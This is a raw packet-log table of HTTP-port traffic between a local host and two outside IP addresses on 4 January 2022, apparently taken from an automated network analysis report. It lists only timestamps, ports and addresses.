Jan 4, 2022 19:34:05.502861023 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502880096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502882004 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502902985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502909899 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502924919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502935886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502947092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502969027 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502969027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502991915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502991915 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503014088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503024101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503036022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503057003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503057957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503079891 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503082991 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503109932 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503134966 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.503865004 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503890991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.503973007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.522716999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.522753954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.522773981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.522794962 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.522815943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.522861958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523173094 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523196936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523226976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523252964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523463964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523485899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523508072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523529053 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523531914 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523552895 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523555040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523575068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523597002 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523602962 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523617029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523633957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523638964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523662090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523669004 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523684025 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523706913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523714066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523727894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523744106 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523750067 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523772001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523780107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523793936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523816109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523821115 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523838043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523847103 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523859978 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523881912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523890018 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523904085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523926020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523930073 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523947001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.523958921 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.523967981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524008989 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524013996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524035931 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524051905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524059057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524080038 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524082899 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524101973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524125099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524127007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524147034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524154902 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524169922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524192095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524198055 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524213076 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.524240971 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.524266005 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.542885065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.542922974 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.542946100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.542963028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.542968035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.542989016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543005943 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543010950 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543034077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543035984 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543056011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543066025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543077946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543098927 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543100119 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543122053 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543147087 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543720007 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543741941 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543762922 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543783903 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543812037 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543883085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543905020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543926954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543930054 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543951035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.543970108 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543979883 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.543989897 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544013023 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544019938 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544034004 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544055939 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544055939 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544079065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544086933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544111967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544132948 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544136047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544154882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544177055 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544178963 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544195890 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544208050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544218063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544239998 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544246912 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544262886 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544271946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544286013 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544298887 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544307947 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544329882 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544332981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544348001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.544377089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.544406891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.570348024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.573174953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.590693951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.590728045 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.590748072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.590764999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.590796947 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.590826035 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593686104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593714952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593736887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593759060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593780041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593784094 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593801022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593826056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593847990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593869925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593883991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593889952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593890905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593914986 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593943119 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593944073 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.593966007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593988895 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.593988895 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594011068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594026089 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594032049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594054937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594063044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594075918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594099045 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594104052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594121933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594144106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594149113 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594166994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594172001 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594188929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594211102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594213009 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594233036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594254017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594261885 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594276905 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594293118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594300985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594321966 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594321966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594343901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594364882 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594367027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594388962 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594397068 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594410896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594433069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594434023 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594455004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594474077 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594479084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594500065 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594501019 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594518900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594537973 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594540119 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594563007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594571114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594584942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594607115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594609976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594628096 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594651937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594651937 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594672918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594675064 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594702005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594710112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594723940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594736099 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594748974 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594770908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594774961 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594793081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594815016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594815969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594837904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594851971 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594860077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594881058 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594882965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594903946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594913960 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594927073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594942093 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594949961 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594971895 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.594975948 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.594994068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595016956 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595017910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595038891 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595058918 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595062017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595082045 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595083952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595107079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595115900 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595130920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595144033 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595154047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595175982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595180035 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595197916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595220089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595222950 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595242023 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595263958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595264912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595285892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595288038 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595308065 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595323086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595330000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595350981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595370054 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595375061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595395088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595397949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595419884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595429897 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595443964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595453978 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595464945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595483065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595485926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595510006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595518112 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595532894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595555067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595556021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595577002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595591068 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595598936 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595621109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595622063 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595642090 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595649958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595664978 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595679998 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595685959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595707893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595720053 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595730066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595752001 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595752954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595777035 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595787048 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595799923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595810890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595820904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595837116 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595843077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595864058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595873117 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595886946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595910072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595913887 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595931053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595951080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595953941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595976114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.595977068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.595998049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596009016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596020937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596040010 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596041918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596064091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596086025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596096992 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596107006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596131086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596131086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596154928 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596154928 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596177101 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596194983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596199036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596220970 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.596230030 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.596241951 CET	80	49897	65.108.180.72	192.168.2.5
